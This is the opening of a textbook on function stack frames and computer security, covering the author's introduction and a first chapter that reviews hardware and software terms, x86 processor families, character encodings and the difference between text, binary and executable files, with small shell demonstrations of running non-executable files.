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   Introduction 

   This book addresses an issue of vital importance for computer security with particular regard to Unix-
like operating systems: the study of the content and organization of functions' stack frames and how this 
information can be used. 

  Stack Frames: A Look from Inside  is neither a guide for hackers nor a theory book, but an in-depth study 
to demonstrate how activation records are organized to help prevent any possible dangerous uses, as well as 
the countermeasures that system designers have set up to frustrate their effect. 

 The book takes a practical approach to focus your interest on the topics addressed and guide you 
through a mysterious and fascinating world; it is not, and it doesn’t seek to be, a fully exhaustive text. 

 A basic knowledge of the UNIX operating system, and of both the C and assembly languages is 
recommended, as well as some practice with compilers and debuggers; but they are not compulsory, since 
the most important operations are extensively discussed, illustrated, and supplemented with web links, so 
that the book’s contents can be easily understood by a wide range of students. 

 It is advisable that the reader have a GNU/Linux distribution installed on a computer with an x86 
(or x86_64) processor; therefore, the programs used for testing have been compiled and executed on some 
of the most widespread distributions. The proposed techniques also apply to other operating systems 
(OS X, Windows, and so on). Where it is not specified, operations are performed on Debian GNU/Linux 
for x86_64 machines. 

 The first four chapters are introductory as they clarify the meaning of the terminology and concepts 
used in Chapter   5    ’s in-depth exploration of stack frames and summarize the basic knowledge you’ll need in 
order to understand what’s covered there. 

 The majority of the book is therefore useful to remind experienced readers of some technical skills 
they should have already acquired or to provide a brief targeted training to others, with no claim to 
exhaustiveness. 

 As a consequence, each section avoids unnecessary details, leaving solely what is needed for the topic 
to be properly understood. 

 Many sections include the C (or assembly) source code files of the programs used for testing, as well 
as the related output data; they are part of the text, to be read with equal attention because they provide 
information not present elsewhere. 

 To get the most out of this book, you are advised to execute programs on your own, repeating all the 
procedures on the operating system installed on your computer; don’t simply read the text. In rare cases 
slight modifications may be necessary, without notable differences. 

 To sum up, this book aims to help you achieve the following:

•    Gain an in-depth knowledge of activation records of functions, and how this 
information can be used.  

•   Obtain a better understanding of how conventions used by compilers work.  

•   Understand some basic concepts about libraries and their relationship with 
executable programs.  

http://dx.doi.org/10.1007/978-1-4842-2181-5_5
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•   Master technical skills for using compilers, debuggers, and other tools.  

•   Access qualified web information sources for further education.  

•   Get excited about this changing subject.    

 Although great care has been taken when drafting the text, errors and inaccuracies may still be present; 
therefore you will use the information and software presented here under your own responsibility. The 
author will be grateful for any suggestions and bug reports. 

 —Giuseppe Di Cataldo  



1© Giuseppe Di Cataldo 2016 
G. Di Cataldo, Stack Frames, DOI 10.1007/978-1-4842-2181-5_1

    CHAPTER 1   

 Hardware and Software                          

 This chapter reviews for the reader some basic concepts and focuses on a few topics to provide a better 
understanding of some of the terms used in the following chapters. All of this should be cultural background 
you’ve already acquired, since the reader is expected to bring a working knowledge of C and Unix to this 
book, so there is no need to discuss the topics more deeply. However, two subjects—file and software 
types—need a more in-depth discussion and a clear definition, as they may lead to some confusion. 

      Hardware   
 First let’s review the most basic terminology:

•    A  PC (Personal    Computer    )  is a computer (either desktop or portable) whose features 
and price are compatible with an individual’s basic needs.  

•   The  Hardware  is the physical equipment, that is the tangible part of a computer, such 
as the “case”[ 1 ] and all of its contents (cables included), as well as monitor, keyboard, 
mouse, printers, external hard disks (if any), and so on.  

•   Each of those elements is called a  hardware    component   ; the most important one 
is the  processor  (or  CPU: Central Processing Unit ) that is responsible for executing 
machine language instructions.[ 2 ]  

•   Current processors, made up of only one integrated circuit ( chip ), are called 
 microprocessors ; nearly all of the most recent are  multicore , which means they have 
more independent CPUs[ 3 ] inside the same chip.        

 Each processor contains some   registers   ; they are internal memory locations used to temporarily store 
data and addresses needed by the instruction execution. The   bit width    of these registers and the instruction 
set that a CPU can execute are characteristics of primary importance. The terms   x86  and  80x86    both identify 
a family of microprocessors compatible with (having the same instructions as)[ 4 ] the old  8086  equipped with 
16-bit registers and produced by Intel since 1978. 

   1  The “case” is the box containing motherboard, video card, power supply, hard disk, CD/DVD drive, and so on.  
   2  The only instructions intelligible and executable by the processor are those written in machine language. But binary code 
is unreadable to us; that’s why we use a high-level programming language (C, FORTRAN, Basic, and similar) to write 
programs; then they are translated into machine code by programs known as compilers.  
   3  Two CPUs for dual-core, four CPUs for quad-core, six CPUs for hexa-core, and so on. Each “core” works as an 
independent CPU.  
   4  If a processor  P  is 8086-compatible, then all of the programs running on an 8086 can also run on  P . The opposite is not 
true: a program optimized for  P  may not run on an 8086.  
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 The x86 family includes the following  processors  , produced by Intel and AMD:

•    16-bit processors - 8086, 80186, and 80286  

•   32-bit processors - 80386 (i386), 80486 (i486), 80586 (Pentium), 80686 (Pentium Pro, 
Pentium II, Pentium III, Pentium 4, AMD-Athlon, AMD-Duron, and others)    

 This list is quite incomplete; it contains only some of the most common microprocessors. Please note 
also that 80386-80686 are not the official names. 

 The 32-bit x86 processors are generically called   i386    ( I ntel 80 386  or superior), or   IA-32  ( I ntel 
 A rchitecture,  32  bits)  . It’s evident that the “i” in “i386” stands for “Intel,” but in the i386 family we include the 
compatible processors produced by other manufacturers, for example AMD’s Athlon Classic (performing 
like Pentium III). Some people use the name “i386+” to remark that this family includes “superior” 
processors, which are compatible with 80486, Pentium, and so on. 

 Similarly,  i486  means “ I ntel 80 486  or superior”;  i586  and  i686  have obvious meanings, although they 
are less frequently used. Just to give one example, at    www.archlinux.org      we read: “Currently we have official 
packages optimized for the i686 and x86-64 architectures.” 

 The 64-bit processors (Pentium D, Core 2, Core i3, i5, i7, AMD-Athlon64, AMD-AthlonII, …) are called 
 x86_64  (or  x86-64  or  x64  or  AMD64 ) rather than “x86.” 

 AMD64 is a synonym for x86_64. Both AMD and Intel processors belong to this family, but the IA-64 
family includes 64-bit Intel Itanium series processors, which are incompatible with x86_64. Thus, IA-32 is a 
synonym for i386, but IA-64 isn’t the same as x86_64. 

 The   Architecture     (hardware architecture)  is the layout and functional scheme of the internal 
hardware components. By  x86 architecture  we mean the architecture of a generic x86 processor. The term 
“architecture” is often used as a synonym for “processor,” or better “family of compatible processors,” so it’s 
not infrequent to read a description like “This (operating) system is available for x86 architecture.” From this 
summary, we can understand the meaning of  i386 architecture ,  x86 PC , and so on. 

 Let’s conclude with a term that can be related to hardware as well as to software. 
 By   platform    we mean the environment (hardware and/or software context) needed for program execution. 

We can distinguish between the  hardware platform  (or “hardware environment”; basically the processor) and 
the  software platform  (“software environment”: operating system and libraries[ 5 ] or other software). 

 Sometimes the hardware is not important; for instance, some programs are designed to be executed by 
other programs (“hosts”). Examples of this worth mentioning are browser extensions. The same extension 
works, in fact, on all browsers of the same type and version, even though with different operating systems 
and hardware; this is because the extension is written in a language understandable to the host program. 

 In such a case we say: “extension X uses browser Y as platform.” 
 Generally speaking, we can divide the hardware into input devices, processing unit, storage devices, 

and output devices. 
 But the hardware alone is not enough; in order to work it needs some software, which can be classified 

in different ways, as we’ll see in the next section.  

      Software  , Binary Programs, and Source Code 
 The  software  is the intangible component of a computer system; that is, all the information provided by 
programs and related data. 

 Sometimes the terms “software” and “program” are used as synonyms, but they often have different 
 meanings   that are useful to recall. Let’s start from the definition of “program,” the simplest: a  program  is a 
sequence of instructions. In particular, a  computer program  is a sequence of instructions to be executed by a CPU. 

   5  The operating system is the most important software (the first to be installed); it allows us to manage the computer and 
use the programs we need for work (see “Operating Systems and Kernels” later in this chapter). A library is a collection 
of programs to be easily reused.  

http://www.archlinux.org/
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 We say that a program is in binary format if its instructions are encoded in machine language rather 
than in a high-level one (such as Basic, C, or Java). 

 A   binary program       (or  binary code , or simply  binary ) appears illegible to us because it mostly contains 
nonalphanumeric characters; it’s also called an  executable program  (or  executable code , or simply an 
 executable ), because it’s coded in machine language and thus is directly executable by the processor. 
 Executable programs   have some advantages, including small file size and fast execution speed because they 
don’t need to be compiled (translated to machine language). 

 By contrast, we can easily read a program encoded in a high-level language as it contains almost 
exclusively alphanumeric characters: words ( if, then, else, while,  …), numbers, and very few other symbols 
(punctuation marks and mathematical symbols); in addition, keywords and syntax are often inspired by the 
English language, so it’s much easier for us than reading a program written in machine language. 

 This type of program ( source program ,  source code  or even   source   ) needs another program (compiler, 
interpreter) to execute or translate the former’s instructions from a high-level language to low-level machine 
language commands. 

 The source code has the advantage of being easily studied and modified; if it is also freely accessible, 
 other   programmers can suggest enhancements and bug fixes, making it more secure and reliable. 

 In rare cases the source is written in  assembly , a low-level programming language. Later we’ll use 
some of its instructions, at least the most important ones.  Assembly instructions   are very close to machine-
language commands; the translation is done by special programs known as  assemblers . Because of its 
difficulty, assembly is used only when strictly necessary.  

     Binary and Text Files, Character Encodings 
 Programs don’t stay in the air, nor can they always reside in memory; their storage medium is the file, 
and files are divided into two main categories:  text files and binary files  . Although “binary program” is 
synonymous with “executable program,”[ 6 ] “binary file” doesn’t mean “executable file.”[ 7 ] It should be noted 
that all files are binary, in that each contains a continuous  bit  sequence (bit = BInary digiT: 0 or 1). 

      Character Encodings      
 Each group of eight consecutive bits is called a  byte  (see “Bytes” in Chapter   3     for more information). Every 
byte can be associated with a single character (letter, digit, or symbol) in different ways by defining rules 
known as  character encodings ; the most famous is the   ASCII encoding    ,  where every byte with value less than 
128 (because only the least significant seven bits are used[ 8 ]) represents a character code. All codes greater 
than 127, with the most significant bit set to 1, are excluded because they don’t represent any character. 

 For instance, let’s consider a file containing the sequence 011000010110001001100011” if we break 
these bits into groups of 8, we obtain 01100001 01100010 01100011, which represent “abc,” according to the 
ASCII character set. Therefore we can say that the file contains the text “abc.” 

 Because of the  ASCII   128-character limitation, new encodings were invented. Remember that in general 
each encoding is a mapping between numbers that can be saved in a computer file and images that should 
be displayed on the monitor. 

   6  It’s rare to distinguish between binary programs and executable ones. The former contain machine-language commands 
but their file format doesn’t allow immediate execution; for example, object files (with extension  .o  or  .obj ) need to be 
linked to obtain really executable programs. By the term “binaries” we mean “executable programs.”  
   7  The term “executable” (alone) stands for “executable program,” not “executable file.”  
   8  For instance, the decimal number 83 is 01010011 = 2 0 +2 1 +2 4 +2 6  in binary notation (see Chapter   3    ). Its seven rightmost 
bits (1010011) are said to be “least significant” because their contribution to the resulting value is smaller than that of the 
first bit (if set to 1). The maximum contribution of the seven least significant bits is 2 0 +2 1 +2 2 +2 3 +2 4 +2 5 +2 6  = 127, while 
the first bit has weight 2 7  = 128.  

http://dx.doi.org/10.1007/978-1-4842-2181-5_3
http://dx.doi.org/10.1007/978-1-4842-2181-5_3
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 To double the number of characters that can be represented (mainly accented letters and graphic 
symbols) many variants use the eighth bit set to 1, allowing 128 more codes; the corresponding characters 
are incorrectly called  extended ASCII characters . 

 There are many extensions, starting from the  Code Page 437  (also known as CP437,   OEM437    ,   MS-DOS 
Latin US    , and PC- 8  ) developed by IBM in 1981 for its IBM PC (the first personal computer). 

 The most-used  ISO/IEC encodings   in North America, Africa, Oceania, and western and northern 
Europe are  ISO-8859-1  (or  Latin-1 ),  ISO-8859-15  (or  Latin-9 ),  ISO-8859-10  (or  Latin-6 ).[ 9 ] In particular, ISO-
8859-15 is almost the same as 8859-1; it differs in only eight symbols: the euro sign (€) and others (Š, Ž, Œ, …). 
Another encoding similar to ISO-8859-1 is   Windows-1252    (also called “Code Page 1252 Windows Latin 1” or, 
incorrectly,  ANSI ). The ISO-8859-1, ISO-8859-15, Windows-1252 are so similar they are often confused by 
routines that perform automatic character set recognition. 

 All these extensions include as a subset the ASCII character set (commonly named  US-ASCII  to avoid 
confusion) and differ only for characters with code greater than 127; therefore we can read English text by 
using any extended ASCII encoding. 

 By contrast, the   UTF-8 encoding    (Unicode Transformation Format, 8-bit  encoding  ) uses up to four bytes 
to represent one  Unicode [ 10 ]  character   (Unicode includes ISO-8859-1 as a subset). UTF-8 can represent more 
than one million different characters, much more than those of all known living languages in the world. In 
the last ten years this encoding has rapidly grown at the expense of ASCII and ISO 8859-1. Actually it’s used 
by most web pages and email clients because it’s backward-compatible with ASCII and produces small files. 

 The  UTF-16 encoding  (16-bit  Unicode Transformation Format  ) is another widely used encoding; it 
assigns one 16-bit or 32-bit numeric code to each Unicode character. 

 The least- used encoding is  UTF-32 ; it requires four bytes for each Unicode character.  

     The  ASCII Character Set      
 Table  1-1  lists the 128 ASCII characters. Characters with codes 127 and 0 through 31 are nonprintable control 
characters; the remaining ones are letters, digits, punctuations marks, and so on.   

   9  The ISO-8859-n character set comes from ISO/IEC 8859-n, containing only printable characters without control ones 
(which are undefined). The missing characters have codes between 0 and 31 (group C0), 127, and 128 through 159 
(group C1). The group C1 contains the first 32 characters of the second half of the character table, while C0 refers to the 
first half.  
   10  See the following sites for details:    http://www.unicode.org/standard/principles.html         http://www.unicode.
org/charts/index.html       

http://msdn.microsoft.com/en-us/goglobal/cc305156.aspx
http://msdn.microsoft.com/en-us/library/cc195060.aspx
http://msdn.microsoft.com/en-us/library/cc195060.aspx
http://www.unicode.org/standard/principles.html
http://www.unicode.org/charts/index.html
http://www.unicode.org/charts/index.html
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    Table 1-1.    The Entire 128-Character ASCII Set   

 Nonprintable control characters  Printable characters 

  00 = NULL   Null character   32 = space    64 = @    96 = `  

  01 = SOH   Start of Header   33 = !    65 = A    97 = a  

  02 = STX   Start of Text   34 = "    66 = B    98 = b  

  03 = ETX   End of Text   35 = #    67 = C    99 = c  

  04 = EOT   End of Transmission   36 = $    68 = D    100 = d  

  05 = ENQ   Enquiry   37 = %    69 = E    101 = e  

  06 = ACK   Acknowledgement   38 = &    70 = F    102 = f  

  07 = BEL   Bell   39 = '    71 = G    103 = g  

  08 = BS   Backspace   40 = (    72 = H    104 = h  

  09 = HT   Horizontal Tab   41 = )    73 = I    105 = i  

  10 = LF   Line feed   42 = *    74 = J    106 = j  

  11 = VT   Vertical Tab   43 = +    75 = K    107 = k  

  12 = FF   Form feed   44 = ,    76 = L    108 = l  

  13 = CR   Carriage return   45 = -    77 = M    109 = m  

  14 = SO   Shift Out   46 = .    78 = N    110 = n  

  15 = SI   Shift In   47 = /    79 = O    111 = o  

  16 = DLE   Data link escape   48 = 0    80 = P    112 = p  

  17 = DC1   Device control 1   49 = 1    81 = Q    113 = q  

  18 = DC2   Device control 2   50 = 2    82 = R    114 = r  

  19 = DC3   Device control 3   51 = 3    83 = S    115 = s  

  20 = DC4   Device control 4   52 = 4    84 = T    116 = t  

  21 = NAK   Negative-acknowledge   53 = 5    85 = U    117 = u  

  22 = SYN   Synchronous idle   54 = 6    86 = V    118 = v  

  23 = ETB   End of trans. block   55 = 7    87 = W    119 = w  

  24 = CAN   Cancel   56 = 8    88 = X    120 = x  

  25 = EM   End of medium   57 = 9    89 = Y    121 = y  

  26 = SUB   Substitute, EOF   58 = :    90 = Z    122 = z  

  27 = ESC   Escape   59 = ;    91 = [    123 = {  

  28 = FS   File separator   60 = <    92 = \    124 = |  

  29 = GS   Group separator   61 = =    93 = ]    125 = }  

  30 = RS   Record separator   62 = >    94 = ^    126 = ~  

  31 = US   Unit separator   63 = ?    95 = _  

  127 = DEL   Delete         
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      Encoding   Examples 
 Now let’s write the text “àèìòù” by using a text editor,[ 11 ] for instance  gedit , which is the default text editor for 
the GNOME desktop environment, installed in most GNU/Linux operating systems. 

 Then save it under three different names:  UTF-8.txt  (with UTF-8 encoding),  ISO_8859-15.txt  
(with ISO-8859-15 encoding), and  ISO_8859-10.txt  (with ISO-8859-10 encoding). 

 The third attempt produces an empty file and an  error message  :

   The document contains one or more characters that cannot be encoded using the specified 
character encoding. Select a different character encoding from the menu and try again.”    

 This occurs because the ISO-8859-10 character set doesn’t have à, è, ì, ò, ù, or the corresponding 
numeric codes. In other words, if any byte were written to the file, its value would be the code of a character 
different from the desired one. 

 The first two files, as a consequence of the different encodings, have neither the same size nor the same 
contents: 11 bytes in the former ( C3 A0 C3 A8 C3 AC C3 B2 C3 B9 0A )[ 12 ] and 6 bytes in the latter ( E0 E8 EC F2 F9 0A) . 

 If we open them with  gedit  we don’t see any differences, because  gedit  remembers (or tries to guess) 
the encoding used at save time; for both files we again find “àèìòù.” 

 Not all editors have automatic character-set detection built-in capability. If present, it may sometimes 
not work; hence it’s important to know, or guess, the encoding used at save time: if we choose a wrong one, 
we could get an obscure text. 

 There is no problem if files are written and then read using the default encoding for the same country, 
but if a file known to contain some text appears illegible or corrupted, then we must proceed by trial and 
error, changing encoding until we get a clear, comprehensible text. 

 This happens if the encodings used to write and read the file are different. To give one example, think of 
“Lietuva, Tėvyne mūsų” (“Lithuania, my homeland”): if we use ISO-8859-10 when writing and UTF-8 when 
reading, we’ll get an error ( gedit  says: “The file you opened has some invalid characters”). We can also read 
it using the ISO-8859-15 encoding, but the text we get changes: “Lietuva, Tìvyne mŸsù.” With ISO-8859-4 we 
read: “Lietuva, Tėvyne mžsų.” 

 ■   Note   We can deduce the file type from its filename extension (for example,  .txt ), but this way we cannot 
be sure about the true file type; just think of an MP3 file renamed to  .txt . So, it’s the content, not the name or 
the extension, that defines the file type.       

      Multibyte Encodings      
 Character encodings grew and evolved from the initial US-ASCII to support more languages, using a set 
of only 256 characters (letters, digits, symbols and nonprintable control characters) so as to achieve a 
biunivocal correspondence between bytes and characters. 

   11  An editor is a program that allows users to modify a file’s content; editors, as well as files, fall into two categories: 
 binary  and  text . The latter are the most suitable to modify text-only files, as we’ll see later. Text editors perform character 
encoding and let us choose both the character set and the newline character (CR, LF, CR+LF).  
   12  The program  gucharmap  for GNOME (or  kcharselect  for KDE) gives Unicode numeric codes (better known as  code 
points ).0A (= Line Feed, LF) is added by  gedit  as an end-of-line character. Other editors (such as  kate  or  kwrite  for 
KDE) don’t add 0A.  
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 To overcome this problem,  multibyte encodings  (UTF-8, UTF-16, and so on) were created, each of 
which associates one single character with one or more bytes according to defined rules. Without going into 
specifics, some byte sequences don’t represent any character (neither printable nor control), whereas other 
sequences are wrong because they don’t comply with the encoding rules; this explains the error message 
(“ The file you opened has some invalid characters ”) that we sometimes get. 

 Therefore we cannot say that  all files  are made up of characters; that is to say, not  every file  can be 
decoded as character sequences. 

 If we use a 256-character encoding, each character has a code between 0x00 and 0xFF, so we can state 
that every file is made up of characters; but this may not be true if using another encoding. For instance, if 
we encode “Lietuva, Tėvyne mūsų” as ISO-8859-10 or ISO-8859-4, we cannot decode it as ASCII, because it 
contains some codes greater than 127, which don’t represent any valid ASCII character. 

 The same text cannot be decoded even as UTF-8, since it doesn’t comply with the encoding rules; the 
result is an error message. In such cases some editors assume that the file is corrupted (partially altered 
because of a software or hardware error) and show its content, replacing the bytes that cannot be decoded 
with special symbols (usually �).         

      Text Files   
 Once the right encoding has been chosen, if a file is entirely made up of characters, it is said to be a  text file  if 
they all are printable except very few control characters, including the newline character and the one (HT or 
TAB) needed for text alignment. 

 We say that a character is printable if it isn’t a control character, and therefore it can be displayed on 
screen and printed on paper. Most of them are common to all the character sets.[ 13 ] 

 Note that, to be considered as text, numbers must be strings of digits; for instance, the ASCII encoding 
of “123” produces three bytes: 0x31=‘1’, 0x32=‘2’, 0x33=‘3’. 

 As we have said before, if obscure text and/or unexpected (even if valid) characters are found, it may be 
that the encoding is wrong or the file type is not text, even though it can  also  be read as a text file. 

 Text files are the most portable between operating systems compared to other file types, as reading 
them is straightforward, without the need of further decoding; therefore, although the contents of a data file 
written by an old program that is no longer available will probably be lost, a text file can always be read. 

 To correctly read a text file, we have to use the same encoding and end-of-line convention (CR or LF or 
CR+LF); if we save a file with  gedit , we can select the following:

•    Unix/Linux/Mac OS X (newline = LF = 0x0A = 10);  

•   Mac OS Classic (newline = CR = 0x0D = 13);  

•   DOS/Windows (newline = CR+LF).    

 There isn’t so much difference; for instance a Windows text editor shows only one (long) line when 
opening a Linux text file, but the content is clearly readable. 

 The   ASCII text files    represent the most important subset, ensuring the fullest portability; these files 
contain only bytes with values less than 128 each, therefore ASCII characters. 

 In a text file we can store a program’s source code, a manual, an address book, and, more generally, 
information and data of any kind. 

 The text is divided into multiple lines, terminated by newline characters (CR or LF or CR+LF) and 
formatted only by using space, tab, and “newline.” Moreover there are neither style information (whether it’s 
bold, underlined, or italic, the font, dimension, and color, and so on) nor images or hyperlinks. Three of the few 
control characters (having codes between 8 and 13, see Table  1-1 ) are the most common: Tab, LF, and  CR  . 

   13  See the following pages for the formal definitions:    http://pubs.opengroup.org/onlinepubs/9699919799/
basedefs/V1_chap03.html#tag_03_283         http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_
chap06.html     .  

http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap03.html#tag_03_283
http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap03.html#tag_03_283
http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap06.html
http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap06.html
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 This type of text, as just outlined, is called   plain text   . The graphical layout of characters depends on the 
editor used to open the file. 

 A  plain text file   is not necessarily an ASCII file; for instance, it can contain UTF-8 text. 
 The addition of information (on text style, links, and so on) generates   formatted text    (also called  styled 

text  or  rich    text   )[ 14 ] that, despite its name, can include nontextual elements (and is therefore in binary format). 
 This information is usually enclosed within special printable character sequences known as   tags   ; for 

instance, the string “Normal text<i>Italic text</i>” defines an italic-formatted text delimited between “<i>” 
(“i” stands for “italic”) and “</i>” tags. We find this convention in many text file types, including those with 
the  .html  extension. 

 Sometimes textual data has binary format, thus changing the true file type, as it cannot be considered a 
text file anymore. 

 Some programs write their data in compressed text files, hence making them binary. As an example, a 
LibreOffice file with extension  .odt  is a compressed ZIP archive (so it’s binary) containing folders and files, 
among which is  content.xml ; this is a UTF-8 formatted text file including pure text and tag-delimited style 
information.  

      Binary Files   
 Now let’s go back to the meaning of the term  binary file . It was said that every file is binary because it’s 
made up of a continuous bit sequence. But the common meaning is different: a file is said to be “binary” if it 
doesn’t qualify as text file. 

 A binary file may contain every type of data (image, music, video, compressed data, machine-language 
program, or whatever), but its decoding is possible only if the related data encoding is known. 

  The need to decode the data contents is the characteristic of binary files.  
 Generally, it may be not clear if a file’s type is binary or text; consider for example an RTF file containing 

only one image, without any text, and saved using LibreOffice. Is binary or textual? At first sight we could 
state that it’s a text file because it contains only printable ASCII characters and LF as the only control 
character. Since we cannot understand the file content, especially the second part which encodes the image, 
we realize that a data decoding is needed to view the image. Therefore it is a binary file. 

 Usually, binary files mostly contain nonalphanumeric characters, however without a clear meaning, 
even if we select a valid encoding that does not produce errors. 

 If we choose a wrong encoding when saving text to a file, it may be not possible to decode the content 
later; but even if this is the case, some editors can still open it, replacing the obscure bytes with a special 
symbol (usually �). 

 Binary files contain some text strings (error messages, copyright notes, and so on), but they are rare. We 
can use the Unix command “ strings ” to find them. 

 A binary file can also be opened by a  text editor  (“ gedit ,” “ kate ,” and others), usually in read-only 
mode to prevent modification. But the already mentioned RTF file (the one containing an image) can also 
be opened in read+write mode since it can be decoded as a text file; therefore it can be easily modified. The 
encoded image will change accordingly, though it’s hard to foresee the resulting new image. 

 The reader can try to open an MP3 audio file and a JPG image file by using  gedit  or  kate . The former 
displays this warning when opening those files:

   The file you opened has some invalid characters. If you continue editing this file you could 
corrupt this document. You can also choose another character encoding and try again.    

   14  See the following page for the formal definition:    http://www.unicode.org/glossary/#rich_text      About the style 
information, it should be noted that the definition specifies neither the type nor the format.  

http://www.unicode.org/glossary/#rich_text
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 KDE’s  kate  editor displays a similar warning message. The presence of bytes that cannot be properly 
decoded may produce error messages, or the editor may hang or exit. That’s why it’s recommended to open 
a binary file with a  binary    editor    (also called   hexadecimal editor   );[ 15 ]it is the most suitable tool for reading 
and editing binary files. 

 A binary editor displays a two-column table listing all the file bytes and the matching ASCII characters. 
If some byte cannot be decoded (code > 127) or it is not printable (code < 32), a special symbol (dot, square, 
or other) is  displayed  . 

 To sum up, text files contain source code, while binary files contain executable programs. But what 
is the difference between binary and executable files? Understanding this subject requires discussion in 
more depth.   

      Executable Files   
 A file is said to be  executable  if it has some attribute that gives the operating system permission to execute 
the instructions, if any, contained in the file. On DOS/Windows operating systems it’s the filename extension 
( .com ,  .exe ,  .bat ) that marks files as executable. Some programs can also be installed with a product or 
hosted on so-called   binary tables    ,  holding data for bitmaps, icons, and custom actions. Unix-like operating 
systems (see “Operating Systems and Kernels”) have the  executable bit  instead. 

 In all these operating systems the true type of the file content is identified through specific bytes, called 
 magic numbers , placed at the beginning of the file. 

 Among binary programs, the most common file format in the Unix world is   ELF    ( Executable and 
Linkable    Format    ) ; its magic number has four bytes: 7F 45 4C 46 (“�ELF”).[ 16 ] 

 DOS and Windows  .exe  files start with 4D 5A (“MZ”). 
 In conclusion, the only way to know for sure if a binary file contains an executable program is by 

checking its magic number, because the execution permission or a particular filename extension can be 
given to any file. 

 Strange as it may seem, in Unix-like systems every file (even if it has an extension like  .  doc ,  .pdf , 
or  .mp3 ) can be made executable by adding the execution permission, but this does not imply that the file 
contains an executable program. 

 Vice versa, an executable program can be included inside a nonexecutable file. Let’s remember: 
“executable” is not synonym for “binary”; there are nonbinary executable files (for example, a text file 
or a shell script with the executable bit on) and nonexecutable binary files (such as an MP3 file or a file 
containing a machine code program, but without execution permission). 

 The same for Windows: if we rename an audio file, say  foo.mp3 , to  foo.exe  we get an executable file not 
containing an executable program; if we try to execute it, the system will raise an error message (“ Program 
too big to fit in memory ”). 

 Another try using an  .odt  or  .zip  file (to be renamed to  .exe ) will either produce another  error 
message   (“ Illegal instruction ”) or the execution will silently fail. 

 Now let’s see what happens if we try to execute a PDF file in Debian: 

   g.$  mkdir tmp                                       # Creates the directory[ 17 ] “tmp” 
 g.$  cp foo.pdf tmp                                  # Copy foo.pdf to tmp/foo.pdf 
 g.$  cd tmp                                          # New working directory: tmp 
 g.$  ./foo.pdf                                       # Executes foo.pdf (don't omit "./") 

   15  The GNOME desktop environment has  ghex  (   https://developer.gnome.org/ghex/     ).  
   16  The first byte doesn’t represent a printable character.  
   17  The  tmp  directory is created inside the current working directory; to see its contents we must double click it, or write 
the command “ ls tmp ” (for Unix-like operating systems) or “ dir tmp ” (for DOS/Windows) in a terminal window.  

https://developer.gnome.org/ghex/
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 bash: ./foo.pdf: Permission denied                 # foo.pdf is not executable ! 
 g.$  chmod +x foo.pdf                                # Makes foo.pdf executable 
 g.$  ./foo.pdf                                       # Now foo.pdf can be executed 
 ./foo.pdf: line 1: fg: no job control              # The file execution displays many error 
 ./foo.pdf: line 2: fg: no job control              messages[ 18 ] 
 ./foo.pdf: line 3: 5: command not found 
 ./foo.pdf: line 17897: warning: here-document at line 4 delimited by end-of-file 
 ./foo.pdf: command substitution: line 4:  ̀�h?��t2���_�D\���g�f+p▒@u_�:����\

����j�)' 
 ./foo.pdf: command substitution: line 4: syntax error near unexpected token `)' 
 ...                                               # ^C (Ctrl+C) stops execution 
 g.$  ls                                             # Lists all files inside the directory “tmp” 
 ]@?  ???  ??  c???  foo.pdf  @?金mW8??j  ??pf??   # The execution generated such files 
 g.$  rm *                                           # Removes all files (inside tmp) 

   Another try, using an audio file: 

   g.$  chmod +x foo.mp3  
 g.$  ./foo.mp3  
 bash: ./foo.mp3: cannot execute binary file: Exec format error 
 g.$ 

   Names are not important: we could have renamed the same file to  foo.bin  before execution, with the 
same result. 

 Finally, let’s create a text file (name it  foo ) containing the string “ ls / ”: 

   g.$  echo ls / > foo                                                # Creates the file "foo" 
 g.$  chmod  +x  foo                                                 # Makes foo executable 
 g.$  ./foo                                                          # Executes foo 
 bin   etc         lib    lost+found  opt   run      srv  usr       
 boot  home        lib32  media       proc  sbin     sys  var 
 dev   initrd.img  lib64  mnt         root  selinux  tmp  vmlinuz 
 g.$     

   The text file  foo  has been treated as a command file (a shell script) and executed by the predefined 
command interpreter ( bash ). Nothing would change if its filename were  foo.bin  or  foo.   txt   : the file type 
doesn’t rely on extension, but on the file content. In a Windows system the filename extension is essential; 
it should be  .bat , but we are free to choose another one, for instance  .exe . In this case the execution may 
terminate with an error message (“Illegal instruction”) or silently stop. 

 So far, an important piece of software has been taken into account: the “containers” we use to store data 
and programs. Files belong to a wider category, the software that represents the intangible component of a 
computer system. 

 Like files, software too can be classified in multiple ways, using different criteria, notably as either 
system or application, and free, semi-free, or proprietary. We’ll look at both of these classifications next.  

   18  In Windows we get similar behavior if we rename the file to  .bat  before execution.  
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      System and Application   Software 
 By  software  we mean a program (either source or binary)[ 19 ] or a group of programs in the widest meaning 
of the term: a multimedia player, a browser, an editor, a driver,[ 20 ] firmware,[ 21 ] a library,[ 22 ] or a group of 
programs and related data,[ 23 ] not excluding a whole operating system. 

 It’s often the context that precisely defines what we mean by “software.” For instance, when we speak 
of “the software installed on this system,” the term stands for “all of the programs added to this operating 
system,” but when we say “the software installed on this machine,” we include both the operating system and 
the related programs installed on the computer. 

 Software may be divided into two types:  system software  and  application software . System software (also 
called “basic software,” “basic utilities,” “system utilities,” “system programs,” and similar terms) includes the 
basic programs, namely those of primary importance, needed to manage users, devices, and networks, to 
update the operating system, and so on.[ 24 ] 

 Users don’t install these programs (they are already installed); their removal would make the operating 
system not fully usable, since important features would be lost or some programs may behave differently or 
become unusable. 

 Application software completes system software by providing optional programs that users can install 
according to their needs (media player, browsers, email client, and so on) and preferences (whatever word 
processor is chosen by the user is a personal matter).    The term “application software” is also used for a single 
program (not necessarily in a single file), as well as for the whole category. Shorter names such as “software,” 
“application,” “program” often have the same meaning. The further abbreviation “app” is used for programs 
to be installed on tablets and smartphones. 

 From the user point of view, the most important part of a computer system is the application software, 
without which any interest in using a personal computer would vanish. 

 For this reason, every operating system, according to the needs of its users, installs specific application 
software, normally with a graphic interface for easier (and more pleasant) use. 

 Among the application software, a notable subset consists of  utilities—  small programs that handle 
limited tasks (burn a CD/DVD, compress and decompress files, scan for viruses, and so on). To reduce their 
file size, some utilities have no graphic interface. 

 As we did with hardware, we define  software    architecture    as the planning model of software, describing 
its components, functioning, and interactions. 

 Software is said to be stable if it is rarely subject to malfunctioning; otherwise, it’s said to be unstable. 
We can measure the stability degree as the frequency of software faults; that gives us an idea of the 
software’s reliability.  

   19  Programs usually include some data: installation instructions, configuration data, manuals, FAQs, and so on). These 
